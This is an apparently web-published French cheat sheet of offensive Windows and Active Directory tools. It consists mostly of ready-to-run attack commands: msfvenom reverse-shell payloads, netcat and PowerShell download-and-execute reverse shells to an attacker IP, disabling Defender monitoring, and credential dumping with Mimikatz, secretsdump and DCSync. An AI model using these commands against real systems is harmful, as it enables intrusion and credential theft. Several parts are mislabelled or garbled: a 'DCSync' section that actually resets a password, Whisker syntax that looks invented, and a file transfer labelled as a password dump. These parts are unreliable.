Retour

Metasploit

Utilisé pour générer des reverse shells et exploiter des failles connues à travers divers payloads.

Exemple : Génération d'un exécutable malveillant

Cet exemple utilise msfvenom pour créer un exécutable Windows contenant un payload reverse shell. Une fois exécuté sur la machine cible, il établit une connexion vers l’attaquant.


msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.23.11 LPORT=4444 -f exe -o shell.exe
            

Ensuite, on écoute la connexion avec Metasploit :


use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.23.11
set LPORT 4444
exploit
            

Lorsque la victime exécute le fichier shell.exe, une session Meterpreter est ouverte sur la machine de l’attaquant.

Rubeus

Rubeus est un outil post-exploitation puissant permettant la manipulation des tickets Kerberos. Il est utilisé pour l'extraction de tickets TGT, l'élévation de privilèges via S4U2Self/S4U2Proxy, et la délégation de TGT.

🎯 Exemple 1 : Demande de TGT (asktgt)

.\Rubeus.exe asktgt /user:david /password:Password123! /domain:louico.mfr /outfile:ticket.kirbi

➡️ Ce module demande un TGT en fournissant les identifiants de l’utilisateur.

🎯 Exemple 2 : S4U2Self + S4U2Proxy

.\Rubeus.exe s4u /ticket:ticket.kirbi /msdsspn:cifs/dc.louico.mfr /impersonateuser:DC$ /domain:louico.mfr /altservice:CIFS,HOST,LDAP /ptt

➡️ Ce module permet de s’authentifier en tant qu’un autre utilisateur via S4U2Self puis de faire une requête S4U2Proxy pour déléguer son identité.

🎯 Exemple 3 : TGT Delegation

.\Rubeus.exe tgtdeleg

➡️ Ce module demande un TGT avec délégation à l’aide d’un service de confiance configuré pour déléguer.

🔗 Download Rubeus.exe sur GitHub

Whisker

Whisker est un outil permettant de générer des certificats malveillants pour exploiter les failles des services ADCS (Active Directory Certificate Services).

🎯 Exemple 1 : Génération d'un certificat malveillant

whisker req -ca "http://192.168.09.10/certsrv/" -template "Machine" -altname "evil.com"

➡️ Cette commande génère un certificat malveillant en abusant d'un modèle de certificat.

🎯 Exemple 2 : Exploitation de l'authentification NTLM

whisker relay -target "http://192.168.09.10/certsrv/" -listener "http://attacker.com"

➡️ Cette commande configure un relais NTLM pour capturer les identifiants.

🎯 Exemple 3 : Dump des certificats

whisker dump -ca "http://192.168.09.10/certsrv/"

➡️ Cette commande extrait les certificats disponibles sur le serveur ADCS.

PowerView

Enumération Active Directory, groupes, membres, et privilèges utilisateurs via PowerShell.

Exemple : Attaque DCSync avec PowerView

Cette attaque permet d'exécuter des commandes sur des machines distantes après avoir obtenu des privilèges adéquats, typiquement via l'abus d'appartenance à un groupe privilégié comme "Replicator".


            powershell -ep bypass
            iex (iwr http://192.168.23.11/PowerView.ps1 -UseBasicParsing)
            
            $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
            Set-DomainUserPassword -Domain painters.htb -Identity blake -AccountPassword $UserPassword -Verbose
                    

Création d'un objet d'identification PowerShell :


            $user = 'domain\user'
            $passwd = 'Password123!'
            $secpass = ConvertTo-SecureString $passwd -AsPlainText -Force
            $cred = new-object system.management.automation.PSCredential ($user, $secpass)
                    

Tentatives d'exécution de commandes sur les serveurs distants :


            Invoke-Command -ComputerName DC -ScriptBlock {whoami} -Credential $cred
            Invoke-Command -ComputerName PNT-SVRBPA -ScriptBlock {whoami} -Credential $cred
            Invoke-Command -ComputerName PNT-SVRPSB -ScriptBlock {whoami} -Credential $cred
                    

Transfert de Netcat sur la machine cible :


            Invoke-Command -ComputerName PNT-SVRPSB -ScriptBlock {
                mkdir c:\temp;
                powershell iwr http://192.168.23.11/nc64.exe -O c:\temp\nc64.exe
            } -Credential $cred
                    

Envoi d’un reverse shell vers l’attaquant :


            Invoke-Command -ComputerName PNT-SVRPSB -ScriptBlock {
                c:\temp\nc64.exe 192.168.23.11 443 -e cmd.exe
            } -Credential $cred
                    

PowerMad

PowerMad est un module PowerShell permettant de créer des comptes machine et de manipuler les ACLs Active Directory pour des attaques de délégation de privilèges.

🎯 Exemple 1 : Création d'un compte machine

Import-Module .\PowerMad.ps1
New-MachineAccount -MachineAccount "NewMachine" -Password $(ConvertTo-SecureString "Password123!" -AsPlainText -Force)

➡️ Cette commande crée un compte machine nommé "NewMachine" avec un mot de passe défini.

🎯 Exemple 2 : Ajout de droits de délégation

Set-ADACL -Principal "NewMachine$" -Rights All

➡️ Cette commande attribue tous les droits au compte machine "NewMachine$".

🎯 Exemple 3 : Suppression d'un compte machine

Remove-MachineAccount -MachineAccount "NewMachine"

➡️ Cette commande supprime le compte machine "NewMachine".

Impacket

Impacket est une collection de scripts Python permettant d'exploiter divers protocoles réseau comme SMB, RPC, et WinRM pour des attaques post-exploitation.

🎯 Exemple 1 : Exécution de commandes via SMBExec

python3 smbexec.py DOMAIN/username:password@192.168.09.10/code>

➡️ Cette commande ouvre un shell interactif sur la machine cible en utilisant SMB.

🎯 Exemple 2 : Dump des hashes NTLM avec secretsdump

python3 secretsdump.py DOMAIN/username:password@192.168.09.10

➡️ Cette commande extrait les hashes NTLM des comptes locaux et de domaine.

🎯 Exemple 3 : Requête Kerberos avec GetUserSPNs

python3 GetUserSPNs.py DOMAIN/username:password -dc-ip 192.168.09.10

➡️ Cette commande identifie les comptes avec SPN configurés et récupère leurs tickets Kerberos.

Evil-WinRM

Evil-WinRM est un shell interactif PowerShell qui permet de prendre le contrôle d'une machine Windows via WinRM. C’est l’un des outils les plus utilisés pour l'accès distant sur les systèmes Windows lors des tests d’intrusion.

🎯 Exemple 1 : Connexion simple avec mot de passe

evil-winrm -i 192.168.09.100 -u administrator -p 'Password123!'

➡️ Connexion au shell PowerShell distant avec mot de passe clair.

🎯 Exemple 2 : Connexion avec un certificat

evil-winrm -i 192.168.09.100 -u administrator -k cert.pem -s key.pem

➡️ Utilisation d’un certificat et clé privée pour s’authentifier sans mot de passe.

🎯 Exemple 3 : Upload d’un fichier vers la machine cible

upload shell.exe

➡️ Transfère un fichier local vers la machine distante dans le dossier courant.

🔗 Evil-WinRM sur GitHub

Metasploit - Session Meterpreter via Evil-WinRM

Cet exemple montre comment établir une session Meterpreter depuis un shell Evil-WinRM, en générant un payload avec msfvenom et en l’exécutant sur la machine cible.

🎯 Étape 1 : Génération du payload (machine attaquante)

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.23.11 LPORT=443 -f exe -o shell.exe

🎯 Étape 2 : Configuration du handler Metasploit

sudo msfconsole
            use exploit/multi/handler
            set payload windows/x64/meterpreter/reverse_tcp
            set LHOST tun0
            set LPORT 443
            run

🎯 Étape 3 : Exécution sur la machine cible (via Evil-WinRM)

Set-MpPreference -DisableRealtimeMonitoring $true
            upload shell.exe
            .\shell.exe

✅ Si tout est correctement configuré, tu verras une session Meterpreter s’ouvrir dans ta console Metasploit côté attaquant.

Mimikatz

Mimikatz est un outil puissant pour extraire des informations d'identification, comme les mots de passe en clair, les hashes NTLM, et les tickets Kerberos. Il est souvent utilisé pour des attaques post-exploitation.

🎯 Exemple 1 : Extraction des mots de passe en clair

privilege::debug
sekurlsa::logonpasswords

➡️ Cette commande affiche les mots de passe en clair des sessions utilisateur actives.

🎯 Exemple 2 : Extraction des hashes NTLM

lsadump::sam /sam:system /system:system.hive /security:security.hive

➡️ Cette commande extrait les hashes NTLM des comptes locaux à partir des fichiers SAM et SYSTEM.

🎯 Exemple 3 : Attaque DCSync

lsadump::dcsync /user:Administrator

➡️ Cette commande récupère les hashes NTLM et les mots de passe Kerberos pour un utilisateur spécifique.

SweetPotato

SweetPotato exploite le privilège SeImpersonatePrivilege pour obtenir une élévation de privilèges sur les systèmes Windows.

🎯 Exemple 1 : Exécution d'une commande en tant qu'administrateur

SweetPotato.exe -c "cmd.exe /c whoami"

➡️ Cette commande exécute "whoami" avec des privilèges élevés, affichant "NT AUTHORITY\SYSTEM".

🎯 Exemple 2 : Lancer un reverse shell

SweetPotato.exe -c "powershell -c \"IEX(New-Object Net.WebClient).DownloadString('http://192.168.23.11/shell.ps1')\""

➡️ Cette commande télécharge et exécute un script PowerShell pour établir un reverse shell.

PowerUpSQL

PowerUpSQL est un outil d'audit SQL Server qui permet d'identifier les failles de sécurité et d'exploiter les privilèges SQL.

🎯 Exemple 1 : Enumération des bases de données

Get-SQLInstanceDomain | Get-SQLDatabase

➡️ Cette commande liste toutes les bases de données accessibles sur les instances SQL Server du domaine.

🎯 Exemple 2 : Exécution de commandes via xp_cmdshell

Invoke-SQLOSCmd -Instance "SQLSERVER01" -Command "whoami"

➡️ Cette commande exécute "whoami" sur le serveur SQL et retourne l'utilisateur exécutant le processus.

🎯 Exemple 3 : Dump des mots de passe

Get-SQLColumnSampleData -Instance "SQLSERVER01" -Database "master" -Table "users" -Column "password"

➡️ Cette commande extrait des échantillons de données de la colonne "password" dans la table "users".

Netcat

Netcat est un outil polyvalent pour établir des connexions réseau, souvent utilisé pour les reverse shells et les transferts de fichiers.

🎯 Exemple 1 : Écoute sur un port

nc -lvnp 4444

➡️ Cette commande met Netcat en mode écoute sur le port 4444, prêt à recevoir une connexion.

🎯 Exemple 2 : Envoi d'un reverse shell

nc 192.168.23.11 4444 -e /bin/bash

➡️ Cette commande envoie un shell bash à l'adresse IP et au port spécifiés.

🎯 Exemple 3 : Dump des mots de passe

# Machine recevant le fichier
nc -l -p 1234 > received_file.txt

# Machine envoyant le fichier
nc 192.168.23.11 1234 < file_to_send.txt

➡️ Ces commandes transfèrent "file_to_send.txt" d'une machine à une autre.

NetExec

NetExec (anciennement CrackMapExec) est un outil redoutable pour automatiser l'audit de sécurité des environnements Active Directory. Il permet d’effectuer des actions comme la validation de mots de passe, l’exécution de commandes à distance, l’énumération des partages SMB ou encore la récupération de données sensibles.

🎯 Exemple 1 : Authentification sur un domaine SMB

netexec smb 192.168.0.10/24 -u admin -p 'Password123!'

➡️ Teste les identifiants sur toutes les machines du sous-réseau via le protocole SMB.

🎯 Exemple 2 : Enumération des partages SMB

netexec smb 192.168.0.10 -u user -p 'pass' --shares

➡️ Affiche tous les partages accessibles pour l’utilisateur fourni.

🎯 Exemple 3 : Dump des secrets via SAM

netexec smb 192.168.0.10 -u admin -p 'Password123!' --sam

➡️ Tente d’extraire les secrets SAM locaux si les droits le permettent.

🎯 Exemple 4 : Exécution de commande à distance

netexec smb 192.168.0.10 -u admin -p 'Password123!' -x 'whoami'

➡️ Exécute la commande spécifiée sur la cible distante en utilisant les services Windows valides.

🔗 NetExec sur GitHub